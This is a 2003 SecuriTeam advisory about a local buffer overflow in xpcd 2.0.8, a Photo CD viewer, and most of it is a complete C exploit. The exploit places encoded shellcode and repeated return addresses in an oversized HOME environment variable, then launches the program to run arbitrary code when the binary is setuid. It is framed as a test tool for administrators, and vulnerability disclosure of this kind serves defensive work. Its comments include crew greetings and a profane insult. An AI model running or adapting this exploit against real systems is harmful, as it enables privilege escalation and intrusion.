[EXPL] xpcd Buffer Overflow Exploit Code

From: SecuriTeam (support_at_securiteam.com)
Date: 06/18/03

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      xpcd Buffer Overflow Exploit Code
    ------------------------------------------------------------------------

    SUMMARY

     <http://bytesex.org/xpcd.html> xpcd is an X11 program for reading Photo
    CD's. It reads the overview file with the thumbnails. You can browse all
    the pictures. You can load them in all available resolutions, either the
    whole image or a part of it. A buffer overflow vulnerability in the
    product allows local attackers to cause the product to execute arbitrary
    code. The following exploit code can be used by administrators to test
    their system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * xpcd version 2.0.8

     
    /****************************************************************************
     * xpcd 2.0.8 [latest] exploit written by r-code [Elite FXP Team] *
     * *
     * Actually xpcd usually isn`t suid, therefore for most of you *
     * this exploit will be useless, on the other hand, maybe on some *
     * conditions someone sets +S (who knows... ;-) *
     * *
     * Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher *
     * Flames to: ElSiLaSoF - fucking kiddie.. *
     
    ****************************************************************************/

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>

    unsigned long int get_sp(void) {
      __asm__("movl %esp,%eax");
    }

    char shellcode[] =

    "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x60\x80\x36"
    "\x01\x46\xe2\xfa\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
    "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\x83\x10"
    "\x01\x01\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x63\xef\xfe\xfe\x88\x7c\xf9\xb9"
    "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
    "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\xc8\xc2\x8c\x77\x01"
    "\x91\x91\x91\x91";

    #define LEN 280
    #define DEFAULT_OFFSET 530
    #define PATH "/usr/local/bin/xpcd"

    int main(int argc,char **argv) {
      register int i;
      char *evilstr=0,*str=0,*e=0;
      unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0;
      
      printf("[=] xpcd0x01 exploit written by r-code d_fence(at)gmx(dot)net
    [ELITE FXP TEAM]\n");
      printf("[=] Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik,
    Cypher\n");
      printf("[=] Flames to: ElSiLaSoF - fucking kiddie.\n\n");
      
      
      if(argc>1)
        offset=atoi(argv[1]);
      
      retaddr=get_sp() - offset;
      
      printf("iNFO:) esp: 0x%x offset: 0x%x ret_addr:
    0x%x\n",get_sp(),offset,retaddr);
      printf("iNFO:) If Doesn`t work, try with OFFSETS 400 - 600\n\n");
      
      evilstr=(char *)malloc(LEN);
      e=(char *)malloc(LEN+10);
      ptr=(unsigned long int *)evilstr;
      
      for(i=0;i<(LEN);) {
        evilstr[i++] = (retaddr & 0x000000ff);
        evilstr[i++] = (retaddr & 0x0000ff00) >> 8;
        evilstr[i++] = (retaddr & 0x00ff0000) >> 16;
        evilstr[i++] = (retaddr & 0xff000000) >> 24;
      }
      
      memset(evilstr,'A',(LEN/2));
      
      for(i=0;i<strlen(shellcode);i++)
        evilstr[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i];
      
      evilstr[LEN]=0x00;
      memcpy(e,"HOME=",5);
      memcpy(e+5,evilstr,LEN);
      putenv(e);
      execl(PATH,"xpcd",NULL);
      
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:d_fence@gmx.net> r-code.

    ========================================

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